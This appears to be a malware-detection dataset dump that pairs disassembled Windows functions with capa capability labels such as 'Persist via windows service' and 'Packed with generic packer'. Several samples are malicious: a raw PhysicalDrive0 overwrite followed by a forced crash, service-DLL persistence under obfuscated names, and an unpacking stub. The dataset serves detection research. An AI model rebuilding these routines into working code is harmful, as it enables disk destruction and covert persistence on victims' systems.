joyce8/EMBER2024-capa huggingface dataset:
Function at 0x401000
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x41b008]
jne 0x40100a
repz ret
jmp fcn.00401dd8

Function at 0x405eea
Capabilities:
Link many functions at runtime

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x14
push ebx
push esi
push edi
call fcn.00403abe
and dword [ebp - 4], 0
cmp dword [0x41d25c], 0
mov ebx, eax
jne 0x405f9b
push str.USER32.DLL
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov edi, eax
test edi, edi
je 0x40604c
mov esi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push str.MessageBoxA
push edi
call esi
test eax, eax
je 0x40604c
push eax
call fcn.00403a4c
mov dword [esp], 0x4189ac
push edi
mov dword [0x41d25c], eax
call esi
push eax
call fcn.00403a4c
mov dword [esp], str.GetLastActivePopup
push edi
mov dword [0x41d260], eax
call esi
push eax
call fcn.00403a4c
mov dword [esp], 0x41897c
push edi
mov dword [0x41d264], eax
call esi
push eax
call fcn.00403a4c
pop ecx
mov dword [0x41d26c], eax
test eax, eax
je 0x405f9b
push str.GetProcessWindowStation
push edi
call esi
push eax
call fcn.00403a4c
pop ecx
mov dword [0x41d268], eax
mov eax, dword [0x41d268]
cmp eax, ebx
je 0x405ff3
cmp dword [0x41d26c], ebx
je 0x405ff3
push eax
call fcn.00403ac7
push dword [0x41d26c]
mov esi, eax
call fcn.00403ac7
pop ecx
pop ecx
mov edi, eax
test esi, esi
je 0x405ff3
test edi, edi
je 0x405ff3
call esi
test eax, eax
je 0x405fea
lea ecx, [ebp - 8]
push ecx
push 0xc
lea ecx, [ebp - 0x14]
push ecx
push 1
push eax
call edi
test eax, eax
je 0x405fea
test byte [ebp - 0xc], 1
jne 0x405ff3
or dword [ebp + 0x10], 0x200000
jmp 0x40602c
mov eax, dword [0x41d260]
cmp eax, ebx
je 0x40602c
push eax
call fcn.00403ac7
pop ecx
test eax, eax
je 0x40602c
call eax
mov dword [ebp - 4], eax
test eax, eax
je 0x40602c
mov eax, dword [0x41d264]
cmp eax, ebx
je 0x40602c
push eax
call fcn.00403ac7
pop ecx
test eax, eax
je 0x40602c
push dword [ebp - 4]
call eax
mov dword [ebp - 4], eax
push dword [0x41d25c]
call fcn.00403ac7
pop ecx
test eax, eax
je 0x40604c
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push dword [ebp + 8]
push dword [ebp - 4]
call eax
jmp 0x40604e
xor eax, eax
pop edi
pop esi
pop ebx
leave
ret
Function at 0x4176c0
Capabilities:
Get hostname

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x102c
call fcn.00408f60
mov eax, dword [0x41b008]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 8]
mov dword [ebp - 0x100c], eax
cmp ebx, 0x182
jne 0x4176f9
lea ecx, [ebp - 0x102c]
push ecx
push 0
call dword [sym.imp.KERNEL32.dll_BuildCommDCBA]
jmp 0x417709
cmp ebx, 0x19f
jne 0x417709
push 0
call dword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsA]
push edi
xor edi, edi
test ebx, ebx
jle 0x41778f
push esi
jmp 0x417720
lea esi, [ebp - 0x1008]
mov dword [ebp - 0x1008], 0
call fcn.004176b0
mov dl, byte [ebp - 0x1008]
mov eax, dword [ebp - 0x100c]
xor byte [eax + edi], dl
cmp ebx, 0xf
jne 0x417789
lea eax, [ebp - 0x1010]
push eax
lea ecx, [ebp - 0x1004]
push ecx
call dword [sym.imp.KERNEL32.dll_GetComputerNameW]
push str.yodawelizukipa
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_SetCalendarInfoW]
push 0
lea edx, [ebp - 0x804]
push edx
push 0
call dword [sym.imp.KERNEL32.dll_GetShortPathNameW]
push 0
push 0
call dword [sym.imp.KERNEL32.dll_SleepEx]
inc edi
cmp edi, ebx
jl 0x417720
pop esi
pop edi
cmp ebx, 0x2d
jne 0x4177a9
mov dword [0x512f40], 0xa62e7790
mov dword [0x512f44], 0xffffffff
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.00401000
mov esp, ebp
pop ebp
ret

Function at 0x4177c0
Capabilities:
Get disk information

Disassembly:
push ebp
mov ebp, esp
push ecx
mov eax, dword [0x512e0c]
push ebx
push esi
mov esi, dword [0x512c54]
mov ebx, eax
cmp eax, 0x5dd
jne 0x4177e6
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_QueryDosDeviceW]
mov eax, dword [0x41c000]
call fcn.00417680
cmp dword [0x512e0c], 0x2f
jne 0x417801
push 0
call dword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsA]
push esi
call fcn.004176c0
add esp, 4
cmp dword [0x512e0c], 0x568
pop esi
pop ebx
jne 0x417830
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_HeapCreate]
mov eax, dword [ebp - 4]
push 0
push eax
call dword [sym.imp.KERNEL32.dll_GetNumaNodeProcessorMask]
mov esp, ebp
pop ebp
ret
Function at 0x1000c2a0
Capabilities:
Create thread

Disassembly:
sub esp, 0x28
push esi
push edi
mov ecx, 0xa
xor eax, eax
lea edi, [esp + 8]
push 0x7f04
rep stosd dword es:[edi], eax
mov eax, dword [0x10019bbc]
xor edi, edi
push eax
mov dword [esp + 0x10], 2
mov dword [esp + 0x14], 0x1000c290
mov dword [esp + 0x18], edi
mov dword [esp + 0x1c], edi
mov dword [esp + 0x20], eax
call dword [sym.imp.USER32.dll_LoadIconA]
mov dword [esp + 0x1c], eax
mov eax, dword [0x10019bbc]
push 0x7f8b
push eax
call dword [sym.imp.USER32.dll_LoadCursorA]
push 2
mov dword [esp + 0x24], eax
call dword [sym.imp.GDI32.dll_GetStockObject]
lea ecx, [esp + 8]
mov dword [esp + 0x24], eax
push ecx
mov dword [esp + 0x2c], 0x66
mov dword [esp + 0x30], str.WIN32_Application
call dword [sym.imp.USER32.dll_RegisterClassA]
mov eax, dword [0x10019bbc]
push edi
push eax
push 0x66
push eax
call dword [sym.imp.USER32.dll_LoadMenuA]
push eax
push edi
push closesocket
push closesocket
push closesocket
push closesocket
push 0xcf0000
push str.My_Win32_Applaction
push str.WIN32_Application
push edi
call dword [sym.imp.USER32.dll_CreateWindowExA]
mov esi, dword [esp + 0x38]
push 0x104
mov edx, dword [esi]
push edx
push 0x10019d10
call dword [sym.imp.MSVCRT.dll_strncpy]
mov eax, dword [esi]
push 0x104
push eax
push 0x10019d10
call dword [sym.imp.MSVCRT.dll_wcstombs]
add esp, 0x18
push 0x1000c240
push 0x10019d10
call dword [sym.imp.ADVAPI32.dll_RegisterServiceCtrlHandlerA]
push 1
push edi
push 2
mov dword [0x10019c00], eax
call fcn.1000c1e0
push edi
push edi
push 4
call fcn.1000c1e0
add esp, 0x18
mov esi, dword [sym.imp.KERNEL32.dll_CreateThread]
push edi
push edi
push edi
push 0x1000d5b0
push edi
push edi
call esi
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push edi
push edi
push edi
push 0x1000cf80
push edi
push edi
call esi
mov esi, dword [sym.imp.KERNEL32.dll_Sleep]
mov dword [0x10017b50], eax
push edi
push edi
call fcn.1000bea0
add esp, 8
push 0x3e8
call esi
jmp 0x1000c3e5

Function at 0x1000c400
Capabilities:
Create service
Modify service
Persist via windows service

Disassembly:
push ecx
push 0xf003f
push 0
push 0
call dword [sym.imp.ADVAPI32.dll_OpenSCManagerA]
test eax, eax
mov dword [0x10019bfc], eax
jne 0x1000c41b
pop ecx
ret
mov ecx, dword [esp + 8]
push 0
push 0
push 0
push 0
push 0
push ecx
push 0
push 2
push 0x110
push 0xf01ff
push str.Tzvuwu__zeppwwp_Uisqpv_Vpxc
push 0x10017b58
push eax
call dword [sym.imp.ADVAPI32.dll_CreateServiceA]
test eax, eax
mov dword [0x10019bf8], eax
jne 0x1000c454
pop ecx
ret
mov edx, dword [0x10019bfc]
push esi
push edx
call dword [sym.imp.ADVAPI32.dll_LockServiceDatabase]
mov ecx, dword [0x10019bf8]
mov esi, eax
lea eax, [esp + 4]
mov dword [esp + 4], str.SqsqvvsVzzustvvw_Uywppw_Wvcppr_Vtr
push eax
push 1
push ecx
call dword [sym.imp.ADVAPI32.dll_ChangeServiceConfig2A]
push esi
call dword [sym.imp.ADVAPI32.dll_UnlockServiceDatabase]
mov eax, 1
pop esi
pop ecx
ret
Function at 0x1000c490
Capabilities:
Modify service

Disassembly:
sub esp, 0x2c
push ebx
push esi
push edi
xor ebx, ebx
push 0xf003f
push ebx
push ebx
call dword [sym.imp.ADVAPI32.dll_OpenSCManagerA]
mov esi, eax
push 0xf003f
push 0x10017b58
push esi
call dword [sym.imp.ADVAPI32.dll_OpenServiceA]
mov edi, eax
xor eax, eax
mov dword [esp + 0x10], eax
lea ecx, [esp + 0x20]
mov dword [esp + 0x14], eax
push esi
mov dword [esp + 0x1c], eax
mov dword [esp + 0x14], ebx
mov dword [esp + 0x20], eax
mov dword [esp + 0x10], 0x15180
mov dword [esp + 0x28], 0x3e8
mov dword [esp + 0x24], 1
mov dword [esp + 0x30], ebx
mov dword [esp + 0x2c], 1
mov dword [esp + 0x38], ebx
mov dword [esp + 0x34], 1
mov dword [esp + 0x1c], 3
mov dword [esp + 0x20], ecx
mov dword [esp + 0x18], ebx
call dword [sym.imp.ADVAPI32.dll_LockServiceDatabase]
lea edx, [esp + 0xc]
push edx
push 2
push edi
call dword [sym.imp.ADVAPI32.dll_ChangeServiceConfig2A]
push edi
call dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
push esi
call dword [sym.imp.ADVAPI32.dll_UnlockServiceDatabase]
pop edi
pop esi
mov eax, 1
pop ebx
add esp, 0x2c
ret

Function at 0x1000c6d0
Capabilities:
Set registry value

Disassembly:
push ecx
mov edx, dword [esp + 8]
lea eax, [esp]
lea ecx, [esp + 8]
push eax
push ecx
push 0
push 0xf003f
push 0
push 0
push 0
push edx
push getsockname
mov dword [esp + 0x24], 1
call dword [sym.imp.ADVAPI32.dll_RegCreateKeyExA]
push str._RqmbzdlDjn_p__MoohTVoieomtrs_bqe
call dword [sym.imp.KERNEL32.dll_lstrlenA]
push eax
mov eax, dword [esp + 0xc]
push str._RqmbzdlDjn_p__MoohTVoieomtrs_bqe
push 2
push 0
push str.ServiceDll
push eax
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
mov ecx, dword [esp + 8]
push ecx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov eax, 1
pop ecx
ret
Function at 0x401000
Capabilities:
Terminate process
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
mov eax, dword [section..data]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push 0
push 0
push 3
push 0
push 3
push 0xc0000000
push 0x402138
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov ebx, eax
cmp ebx, 0xffffffff
jne 0x401039
push eax
call dword [sym.imp.KERNEL32.dll_ExitProcess]
push esi
push edi
mov edi, dword [sym.imp.KERNEL32.dll_SetFilePointer]
push 0
push 0
push 0
push ebx
call edi
mov esi, dword [sym.imp.KERNEL32.dll_WriteFile]
lea eax, [ebp - 8]
push 0
push eax
push 0x200
push 0x402760
push ebx
call esi
push 0
push 0
push 0x200
push ebx
call edi
push 0
lea eax, [ebp - 8]
push eax
push 0x400
push 0x402960
push ebx
call esi
push 0
push 0
push 0x600
push ebx
call edi
push 0
lea eax, [ebp - 8]
push eax
push 0x400
push 0x402160
push ebx
call esi
push 0
push 0
push 0xa00
push ebx
call edi
push 0
lea eax, [ebp - 8]
push eax
push 0x200
push 0x402560
push ebx
call esi
push ebx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.004011d9
mov esp, ebp
pop ebp
ret

Function at 0x4010e0
Capabilities:
Hide graphical window
Terminate process

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xa0
mov eax, dword [section..data]
xor eax, ebp
mov dword [ebp - 4], eax
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0xb7
jne 0x401108
push 0xfffffffffffffffd
call dword [sym.imp.KERNEL32.dll_ExitProcess]
push esi
mov esi, dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push 0x80
call esi
push eax
call dword [sym.imp.KERNEL32.dll_SetPriorityClass]
push 1
call dword [sym.imp.KERNEL32.dll_SetErrorMode]
push 1
call esi
push eax
call dword [sym.imp.KERNEL32.dll_SetProcessPriorityBoost]
call dword [sym.imp.KERNEL32.dll_GetConsoleWindow]
push 0
push eax
call dword [sym.imp.USER32.dll_ShowWindow]
push 0
push 0
push 3
push 0
push 3
push 0xc0000000
push str..PhysicalDrive0
call dword [sym.imp.KERNEL32.dll_CreateFileA]
push 0
mov esi, eax
lea eax, [ebp - 0x10]
push eax
push 0x90
lea eax, [ebp - 0xa0]
push eax
push 0
push 0
push 0x74004
push esi
call dword [sym.imp.KERNEL32.dll_DeviceIoControl]
mov eax, dword [ebp - 0xa0]
test eax, eax
je 0x40118c
cmp eax, 1
jne 0x4011d0
call fcn.00401000
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
lea eax, [ebp - 5]
push eax
push 0
push 1
push 0x13
call dword [sym.imp.ntdll.dll_RtlAdjustPrivilege]
lea eax, [ebp - 0xc]
push eax
push 6
push 0
push 0
push 0
push 0xc0000420
call dword [sym.imp.ntdll.dll_NtRaiseHardError]
mov ecx, dword [ebp - 4]
xor ecx, ebp
pop esi
call fcn.004011d9
mov esp, ebp
pop ebp
ret 0x10
push 0xfffffffffffffffb
call dword [sym.imp.KERNEL32.dll_ExitProcess]

Function at 0x401a0a
Capabilities:
Parse pe header

Disassembly:
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test eax, eax
je 0x401a49
mov ecx, 0x5a4d
cmp word [eax], cx
jne 0x401a49
mov ecx, dword [eax + 0x3c]
add ecx, eax
cmp dword [ecx], 0x4550
jne 0x401a49
mov eax, 0x10b
cmp word [ecx + 0x18], ax
jne 0x401a49
cmp dword [ecx + 0x74], 0xe
jbe 0x401a49
cmp dword [ecx + 0xe8], 0
setne al
ret
xor al, al
ret
Function at 0x101f0270
Capabilities:
Packed with generic packer

Disassembly:
cmp byte [esp + 8], 1
jne 0x101f0454
pushal
mov esi, 0x1014500d
lea edi, [esi - 0x14400d]
push edi
jmp 0x101f029a
mov al, byte [esi]
inc esi
mov byte [edi], al
inc edi
add ebx, ebx
jne 0x101f02a1
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x101f0290
mov eax, 1
add ebx, ebx
jne 0x101f02b3
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc eax, eax
add ebx, ebx
jae 0x101f02c4
jne 0x101f02e3
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x101f02e3
dec eax
add ebx, ebx
jne 0x101f02d0
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc eax, eax
jmp 0x101f02a8
add ebx, ebx
jne 0x101f02df
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
jmp 0x101f0335
xor ecx, ecx
sub eax, 3
jb 0x101f02fb
shl eax, 8
mov al, byte [esi]
inc esi
xor eax, 0xffffffff
je 0x101f036a
sar eax, 1
mov ebp, eax
jmp 0x101f0306
add ebx, ebx
jne 0x101f0306
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x101f02d4
inc ecx
add ebx, ebx
jne 0x101f0314
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x101f02d4
add ebx, ebx
jne 0x101f0321
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
add ebx, ebx
jae 0x101f0316
jne 0x101f0332
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jae 0x101f0316
add ecx, 2
cmp ebp, 0xfffffb00
adc ecx, 2
lea edx, [edi + ebp]
cmp ebp, 0xfffffffc
jbe 0x101f0354
mov al, byte [edx]
inc edx
mov byte [edi], al
inc edi
dec ecx
jne 0x101f0346
jmp 0x101f0296
mov eax, dword [edx]
add edx, 4
mov dword [edi], eax
add edi, 4
sub ecx, 4
ja 0x101f0354
add edi, ecx
jmp 0x101f0296
pop esi
mov edi, esi
mov ecx, 0x1bf5
mov al, byte [edi]
inc edi
sub al, 0xe8
cmp al, 1
ja 0x101f0372
cmp byte [edi], 0x3a
jne 0x101f0372
mov eax, dword [edi]
mov bl, byte [edi + 4]
shr ax, 8
rol eax, 0x10
xchg ah, al
sub eax, edi
sub bl, 0xe8
add eax, esi
mov dword [edi], eax
add edi, 5
mov al, bl
loop 0x101f0377
lea edi, [esi + 0x1d8000]
mov eax, dword [edi]
or eax, eax
je 0x101f03e6
mov ebx, dword [edi + 4]
lea eax, [eax + esi + 0x1f00e4]
add ebx, esi
push eax
add edi, 8
call dword [esi + 0x1f013c]
xchg ebp, eax
mov al, byte [edi]
inc edi
or al, al
je 0x101f03a4
mov ecx, edi
push edi
dec eax
repne scasb al, byte es:[edi]
push ebp
call dword [esi + 0x1f0140]
or eax, eax
je 0x101f03e0
mov dword [ebx], eax
add ebx, 4
jmp 0x101f03c1
popal
xor eax, eax
ret 0xc
add edi, 4
lea ebx, [esi - 4]
xor eax, eax
mov al, byte [edi]
inc edi
or eax, eax
je 0x101f0417
cmp al, 0xef
ja 0x101f040a
add ebx, eax
mov eax, dword [ebx]
xchg ah, al
rol eax, 0x10
xchg ah, al
add eax, esi
mov dword [ebx], eax
jmp 0x101f03ec
and al, 0xf
shl eax, 0x10
mov ax, word [edi]
add edi, 2
jmp 0x101f03f9
mov ebp, dword [esi + 0x1f0144]
lea edi, [esi - 0x1000]
mov ebx, 0x1000
push eax
push esp
push 4
push ebx
push edi
call ebp
lea eax, [edi + 0x197]
and byte [eax], 0x7f
and byte [eax + 0x28], 0x7f
pop eax
push eax
push esp
push eax
push ebx
push edi
call ebp
pop eax
popal
lea eax, [esp - 0x80]
push 0
cmp esp, eax
jne 0x101f044b
sub esp, 0xffffff80
jmp 0x1012cf1b
Function at 0x4035c1
Capabilities:
Terminate process

Disassembly:
jmp 0x45c3c4
push 0x17
call dword [sym.imp.KERNEL32.dll_IsProcessorFeaturePresent]
test eax, eax
je 0x45c3d5
push 5
pop ecx
int 0x29
push esi
push 1
mov esi, 0xc0000417
push esi
push 2
call fcn.0040589e
add esp, 0xc
push esi
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call dword [sym.imp.KERNEL32.dll_TerminateProcess]
pop esi
ret

Function at 0x4036e3
Capabilities:
Query environment variable

Disassembly:
jmp 0x4a5381
mov edi, edi
push esi
call dword [sym.imp.KERNEL32.dll_GetEnvironmentStringsW]
mov esi, eax
test esi, esi
jne 0x4a5392
pop esi
ret
push ebx
push edi
push esi
call fcn.004a5268
mov ebx, eax
sub ebx, esi
and ebx, 0xfffffffe
push ebx
call fcn.00403f9e
mov edi, eax
pop ecx
pop ecx
test edi, edi
je 0x4a53ba
push ebx
push esi
push edi
call fcn.00405691
add esp, 0xc
push 0
call fcn.004061d6
pop ecx
push esi
call dword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
mov eax, edi
pop edi
pop ebx
pop esi
ret

Function at 0x40574f
Capabilities:
Parse pe header

Disassembly:
jmp 0x44b5c5
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test eax, eax
je 0x44b604
mov ecx, 0x5a4d
cmp word [eax], cx
jne 0x44b604
mov ecx, dword [eax + 0x3c]
add ecx, eax
cmp dword [ecx], 0x4550
jne 0x44b604
mov eax, 0x10b
cmp word [ecx + 0x18], ax
jne 0x44b604
cmp dword [ecx + 0x74], 0xe
jbe 0x44b604
cmp dword [ecx + 0xe8], 0
setne al
ret
xor al, al
ret

Function at 0x44929b
Capabilities:
Get geographical location

Disassembly:
push ebp
mov ebp, esp
push ecx
call fcn.00403747
mov eax, dword [eax + 0x14]
test eax, eax
je 0x4492de
and dword [ebp - 4], 0
lea ecx, [ebp - 4]
push 2
push ecx
push 0x22
push eax
call dword [sym.imp.KERNEL32.dll_GetLocaleInfoEx]
movzx eax, word [ebp - 4]
sub eax, 0x30
je 0x4492de
sub eax, 1
je 0x4492d9
sub eax, 1
je 0x4492d5
xor eax, eax
leave
ret
push 3
jmp 0x4492e0
xor eax, eax
inc eax
leave
ret
push 2
pop eax
leave
ret

Function at 0x49015a
Capabilities:
Parse pe header

Disassembly:
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test eax, eax
je 0x490199
mov ecx, 0x5a4d
cmp word [eax], cx
jne 0x490199
mov ecx, dword [eax + 0x3c]
add ecx, eax
cmp dword [ecx], 0x4550
jne 0x490199
mov eax, 0x10b
cmp word [ecx + 0x18], ax
jne 0x490199
cmp dword [ecx + 0x74], 0xe
jbe 0x490199
cmp dword [ecx + 0xe8], 0
setne al
ret
xor al, al
ret
Function at 0x49f213
Capabilities:
Read file on windows

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
mov eax, 0x101c
call fcn.00401d7f
mov eax, dword [0x4d5040]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 0x14]
push ebx
push dword [ebp + 8]
mov dword [ebp - 0x100c], eax
call fcn.00405df3
pop ecx
mov ecx, dword [ebp + 8]
mov ebx, eax
cmp dword [ecx + 8], 0
jne 0x49f255
mov eax, dword [ebp + 0xc]
mov edx, dword [ebp + 0x10]
jmp 0x49f3b1
mov eax, dword [ecx]
sub eax, dword [ecx + 4]
push esi
push edi
push 0
cdq
push 2
push edx
push eax
call fcn.00405f42
push dword [ebp - 0x100c]
mov ecx, ebx
mov dword [ebp - 0x1008], eax
mov esi, ebx
mov dword [ebp - 0x1018], edx
and ecx, 0x3f
sar esi, 6
imul edi, ecx, 0x38
push 0
mov eax, dword [esi*4 + 0x4d8978]
push dword [eax + edi + 0x24]
push dword [eax + edi + 0x20]
push ebx
call fcn.0040325b
mov ecx, dword [esi*4 + 0x4d8978]
add esp, 0x14
mov dword [ebp - 0x1010], eax
mov eax, edx
mov edx, dword [ebp - 0x1010]
mov dword [ebp - 0x101c], eax
cmp edx, dword [ecx + edi + 0x20]
jne 0x49f3aa
cmp eax, dword [ecx + edi + 0x24]
jne 0x49f3aa
push 0
lea eax, [ebp - 0x1014]
push eax
push 0x1000
lea eax, [ebp - 0x1004]
push eax
push dword [ecx + edi + 0x18]
call dword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
je 0x49f3aa
push dword [ebp - 0x100c]
push 0
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push ebx
call fcn.0040325b
add esp, 0x14
test edx, edx
jl 0x49f3aa
jg 0x49f320
test eax, eax
jb 0x49f3aa
mov ebx, dword [ebp - 0x1018]
mov eax, dword [ebp - 0x1014]
test ebx, ebx
jg 0x49f3aa
jl 0x49f33a
cmp dword [ebp - 0x1008], eax
ja 0x49f3aa
lea edi, [ebp - 0x1004]
xor edx, edx
add edi, eax
lea ecx, [ebp - 0x1004]
xor esi, esi
cmp dword [ebp - 0x1008], edx
jne 0x49f358
test ebx, ebx
je 0x49f391
cmp ecx, edi
jae 0x49f391
mov al, byte [ecx]
cmp al, 0xd
jne 0x49f372
lea eax, [edi - 1]
cmp ecx, eax
jae 0x49f37e
cmp byte [ecx + 1], 0xa
jne 0x49f37e
inc ecx
jmp 0x49f37e
movzx eax, al
movsx eax, byte [eax + 0x4d5398]
add ecx, eax
add esi, 1
adc edx, 0
inc ecx
cmp esi, dword [ebp - 0x1008]
jne 0x49f358
cmp edx, ebx
jne 0x49f358
lea eax, [ebp - 0x1004]
sub ecx, eax
mov eax, ecx
cdq
add eax, dword [ebp - 0x1010]
adc edx, dword [ebp - 0x101c]
jmp 0x49f3af
or edx, 0xffffffff
mov eax, edx
pop edi
pop esi
mov ecx, dword [ebp - 4]
xor ecx, ebp
pop ebx
call fcn.0040303f
leave
ret
Function at 0x49faf0
Capabilities:
Read file on windows

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x18
mov eax, dword [ebp + 8]
mov ecx, eax
push ebx
mov ebx, dword [ebp + 0xc]
and eax, 0x3f
sar ecx, 6
push esi
push edi
imul edi, eax, 0x38
mov eax, dword [ecx*4 + 0x4d8978]
mov dword [ebp - 0xc], ecx
mov ecx, dword [edi + eax + 0x18]
mov dword [ebp - 0x14], ecx
mov ecx, dword [ebp + 0x10]
test ecx, ecx
je 0x49fb30
cmp byte [ebx], 0xa
jne 0x49fb30
or byte [edi + eax + 0x28], 4
jmp 0x49fb35
and byte [edi + eax + 0x28], 0xfb
add ecx, ebx
mov eax, ebx
mov dword [ebp - 0x10], ecx
mov esi, ebx
mov dword [ebp - 8], eax
cmp ebx, ecx
jae 0x49fc34
mov dl, byte [eax]
cmp dl, 0x1a
je 0x49fc17
inc eax
cmp dl, 0xd
je 0x49fb61
mov dword [ebp - 8], eax
mov byte [esi], dl
jmp 0x49fb87
cmp eax, ecx
jae 0x49fb95
mov cl, byte [eax]
xor eax, eax
cmp cl, 0xa
sete al
inc eax
add dword [ebp - 8], eax
cmp cl, 0xa
sete al
dec al
and al, 3
add al, 0xa
mov byte [esi], al
mov eax, dword [ebp - 8]
mov ecx, dword [ebp - 0x10]
xor edx, edx
inc edx
add esi, edx
cmp eax, ecx
jb 0x49fb49
jmp 0x49fc34
push 0
lea eax, [ebp - 0x10]
push eax
push 1
lea eax, [ebp - 1]
push eax
push dword [ebp - 0x14]
call dword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
je 0x49fc12
cmp dword [ebp - 0x10], 0
je 0x49fc12
mov ecx, dword [ebp - 0xc]
mov eax, dword [ecx*4 + 0x4d8978]
test byte [eax + edi + 0x28], 0x48
je 0x49fbec
mov dl, byte [ebp - 1]
lea eax, [esi + 1]
mov dword [ebp - 0x14], eax
cmp dl, 0xa
jne 0x49fbd7
mov byte [esi], dl
jmp 0x49fbe8
mov byte [esi], 0xd
mov eax, dword [ecx*4 + 0x4d8978]
mov byte [eax + edi + 0x2a], dl
mov eax, dword [ebp - 0x14]
mov esi, eax
jmp 0x49fc34
cmp byte [ebp - 1], 0xa
jne 0x49fbfb
cmp esi, ebx
jne 0x49fbfb
mov byte [esi], 0xa
jmp 0x49fc33
push 1
push 0xffffffffffffffff
push 0xffffffffffffffff
push dword [ebp + 8]
call fcn.0040191f
add esp, 0x10
cmp byte [ebp - 1], 0xa
je 0x49fc34
mov byte [esi], 0xd
jmp 0x49fc33
mov ecx, dword [ebp - 0xc]
mov ecx, dword [ecx*4 + 0x4d8978]
mov al, byte [ecx + edi + 0x28]
test al, 0x40
jne 0x49fc31
or al, 2
mov byte [ecx + edi + 0x28], al
jmp 0x49fc34
mov byte [esi], dl
inc esi
sub esi, ebx
pop edi
mov eax, esi
pop esi
pop ebx
leave
ret